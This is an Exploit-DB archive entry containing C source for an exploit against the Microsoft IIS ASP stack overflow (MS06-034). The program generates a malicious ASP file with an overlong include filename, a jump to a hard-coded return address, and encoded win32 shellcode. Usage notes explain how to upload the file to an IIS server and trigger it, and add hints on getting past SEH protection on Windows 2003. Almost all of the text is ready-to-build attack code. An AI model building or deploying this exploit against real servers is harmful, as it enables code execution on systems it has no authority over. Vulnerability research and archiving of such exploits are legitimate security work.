Microsoft IIS - ASP Stack Overflow (MS06-034)

EDB-ID:

2056


Author:

cocoruder

Type:

local


Platform:

Windows

Date:

2006-07-21


#include <stdio.h>
#include <windows.h>

/***********************************************************************
Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

by cocoruder(frankruder_at_hotmail.com),2006/7/13
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4+IIS5.0,
On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms,
you should set the new fs:[0]->hander flexibility,this need some luck.

usage:
upload the "exploit2000.asp" to IIS web directory,use web
browser to visit it,then the shellcode will execute.

************************************************************************/




//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->";

//jmp 8
unsigned char code_jmp8[]=
"\xEB\x06\x90\x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"\x66\x4A\xE6\x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";



void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.asp\n");


if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!\n");
return;
}


fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("\x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("\x41",1,1,fp);
}

fclose(fp);


printf("[+] Exploit file has been successfully built.\n");

}

# milw0rm.com [2006-07-21]